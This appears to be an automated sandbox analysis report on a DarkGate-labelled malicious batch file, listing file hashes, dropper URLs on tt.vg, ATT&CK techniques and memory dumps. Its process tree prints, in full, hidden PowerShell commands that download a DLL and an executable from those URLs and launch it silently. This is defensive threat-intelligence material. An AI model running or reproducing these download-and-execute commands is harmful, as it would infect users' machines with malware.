933fbda1ca7c4a52adbb48d038c8ba5ed5ee411d1096b2222ca383ca6d96a6bc

Analysis

max time kernel
147s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19-08-2024 09:44

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General

Target

exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat
Size

6KB
MD5

97b7c88a02b2a5214d742b7ed50f4544
SHA1

15bf7dd44049b94db1a82504802ead45f6186fa0
SHA256

20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
SHA512

918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
SSDEEP

192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2588	powershell.exe
18	2588	powershell.exe
34	2588	powershell.exe
36	2588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2588	powershell.exe
4892	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	tt.vg
3	tt.vg

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2588	powershell.exe
2588	powershell.exe
4892	powershell.exe
4892	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3756 wrote to memory of 2588	3756	cmd.exe	85
PID 3756 wrote to memory of 2588	3756	cmd.exe	85
PID 3756 wrote to memory of 4892	3756	cmd.exe	97
PID 3756 wrote to memory of 4892	3756	cmd.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
43f4bec966ab901ac034fc136a642fa5

SHA1
8e7227cefec8b05c9a79b2751d1261187b9c0422

SHA256
09ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4

SHA512
a65a2fe6acf4cb0dae8361af3e42e35c6bfaa93859e744a7779630d785a56bb030161c92a74b88a223769fdb912911146a762cf6a8afe33642e2695ea08ceec0

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rnexpgjy.k1a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2588-16-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/2588-12-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/2588-13-0x00007FFCD1983000-0x00007FFCD1985000-memory.dmp

Filesize
8KB

Download
memory/2588-14-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/2588-15-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/2588-0-0x00007FFCD1983000-0x00007FFCD1985000-memory.dmp

Filesize
8KB

Download
memory/2588-19-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/2588-11-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/2588-1-0x000001DF5DB90000-0x000001DF5DBB2000-memory.dmp

Filesize
136KB

Download
memory/4892-33-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/4892-34-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/4892-35-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download
memory/4892-37-0x00007FFCD1980000-0x00007FFCD2441000-memory.dmp

Filesize
10.8MB

Download